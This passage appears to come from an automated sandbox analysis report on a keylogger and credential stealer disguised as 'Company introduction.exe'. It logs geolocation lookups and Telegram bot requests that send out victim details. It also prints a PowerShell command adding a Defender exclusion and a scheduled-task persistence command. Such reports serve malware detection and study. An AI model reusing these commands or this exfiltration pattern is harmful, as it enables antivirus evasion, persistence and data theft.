cfL4;desc="?proto=TCP&rtt=1757&min_rtt=1753&rtt_var=666&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1634023&cwnd=238&unsent_bytes=0&cid=80f9c6b72bdbccf5&ts=156&x=0"
2025-01-15 07:39:11 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49756	104.21.48.1	443	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:11 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-15 07:39:12 UTC	853	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:12 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241541 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lZU3DBjfcr0VPVzPe7sNHOX1LVEl3RhDNlpdCsgM8nJGVWSqxaEy3r3hzp5Tx1brbKnrj%2BVSipKKPHLy7zyLEJR8%2BlQLgFynNz56O4yrZoH7ln6T4pxLD3tJDvqMbihbEAiYZAzN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902435e80e54c323-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1485&min_rtt=1479&rtt_var=567&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1910994&cwnd=214&unsent_bytes=0&cid=7ff236c0476b9076&ts=151&x=0"
2025-01-15 07:39:12 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49759	104.21.48.1	443	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:12 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-15 07:39:13 UTC	861	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:12 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241542 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sv%2FM03OUmCUqZvsNtME3jyDdaAcvsDMbuLd5WSYW%2FKWQK6Hl48jTCnuZkz6j3HgmnnmhjX%2B4e%2F0JzFHyi%2FVtnI1szb9%2BL2M9LOz7X9jKh4121PLu9WHWCCBAWV5Oao5u6r97kcLx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902435edff4a42e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1638&min_rtt=1634&rtt_var=621&sent=3&recv=5&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1748502&cwnd=241&unsent_bytes=0&cid=8fc070524ceb9da7&ts=121&x=0"
2025-01-15 07:39:13 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49760	104.21.48.1	443	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:13 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-15 07:39:13 UTC	853	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:13 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241542 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B%2BRtUpWI3iKqwhN7301movk1AMac74D0Tdo6DsCXXrhk4cQq1xFSANFAh7LihxcSTWPXAJi2%2BlGi53GXL8I75ppbbXRjNTpvzz8lRWq7hTqfFLpW4Ze8vYofs7pBHosbBVKY4yap"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902435eff8bbc323-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1435&min_rtt=1425&rtt_var=555&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1933774&cwnd=214&unsent_bytes=0&cid=109e949d2327b61b&ts=143&x=0"
2025-01-15 07:39:13 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49763	104.21.48.1	443	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:14 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-15 07:39:14 UTC	855	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:14 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241543 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CgG%2B%2FPLDyxSlnxzOh9NgqPPoItiEt1vwX68pqFvJl4oBfMcpoXfYml%2F8wcFHV9xoXLNUt5wxxp1hFz7SMxtXYeyJ0EQnyWimP4LPSPFceQJMEoJfOsIJcIIeQF22bPwnzqWW5db5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902435f60d0643be-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&min_rtt=1572&rtt_var=627&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1692753&cwnd=229&unsent_bytes=0&cid=5007d2227f1337ee&ts=155&x=0"
2025-01-15 07:39:14 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49764	104.21.48.1	443	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:14 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-15 07:39:14 UTC	863	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:14 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241543 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7MtG1XJaFtvpBci13fnfR%2FcRirjg4TJD%2FIxPAmd%2Fcd7QI8%2FcdshcfEedHtx4%2BfQ00uL5lIBgAttZzJa6%2BQsgEWFwLpufrrOhwTidpgtOEnnfd7PtOWEUIBD%2BycAROT628vH9QCA3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902435f79f758c15-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1773&min_rtt=1772&rtt_var=667&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1637689&cwnd=238&unsent_bytes=0&cid=7d14981d0e7c0a7b&ts=121&x=0"
2025-01-15 07:39:14 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49766	149.154.167.220	443	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:15 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:302494%0D%0ADate%20and%20Time:%2015/01/2025%20/%2014:34:14%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20302494%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2025-01-15 07:39:15 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 15 Jan 2025 07:39:15 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-15 07:39:15 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49767	104.21.48.1	443	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:15 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-15 07:39:15 UTC	857	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:15 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241544 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qDjT1mA4ou2PJBNi99bmDgYxjZHZjcGNooNtgzHcPXKBmuNQX%2BlbqW09GAODWAsWhr6%2BPyafRSz70VGxShtRhQ%2BqkJ9sK1Sjaol2wczXDts18t4ZurADKYm7aOncUWA0J%2BL1pgBP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902435fe3c78c323-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1443&min_rtt=1437&rtt_var=551&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1966329&cwnd=214&unsent_bytes=0&cid=36478c3052d6f528&ts=153&x=0"
2025-01-15 07:39:15 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49770	104.21.48.1	443	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:16 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-15 07:39:16 UTC	865	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:16 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241545 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F9w%2BnESlJq0vbgMa6gq87a%2B97afYp%2BMGZBMOiTJEhFo8qcyWQgvSkHO8k%2FI2ZPCcA2x2EvoPA0KYP6Cgz35Md3ug90pDd%2BvWxpClEN62DWSojryD09VAq4ld5EX6tDOqGzvMj%2F%2Bk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902436063f2fc461-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1448&min_rtt=1437&rtt_var=561&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1914754&cwnd=232&unsent_bytes=0&cid=3f793fa416128135&ts=144&x=0"
2025-01-15 07:39:16 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49773	149.154.167.220	443	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:17 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:302494%0D%0ADate%20and%20Time:%2015/01/2025%20/%2014:14:32%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20302494%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2025-01-15 07:39:17 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 15 Jan 2025 07:39:17 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-15 07:39:17 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	02:38:58
Start date:	15/01/2025
Path:	C:\Users\user\Desktop\Company introduction.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Company introduction.exe"
Imagebase:	0xda0000
File size:	854'528 bytes
MD5 hash:	10F72E53A2C9F106093C233B56A3A819
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:39:00
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FzXKnGk.exe"
Imagebase:	0xc90000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:39:01
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:39:01
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpE629.tmp"
Imagebase:	0xb00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:39:01
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:39:01
Start date:	15/01/2025
Path:	C:\Users\user\Desktop\Company introduction.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Company introduction.exe"
Imagebase:	0xbc0000
File size:	854'528 bytes
MD5 hash:	10F72E53A2C9F106093C233B56A3A819
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2941471703.00000000031AD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000006.00000002.2941471703.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	02:39:02
Start date:	15/01/2025
Path:	C:\Users\user\AppData\Roaming\FzXKnGk.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\FzXKnGk.exe
Imagebase:	0x2d0000
File size:	854'528 bytes
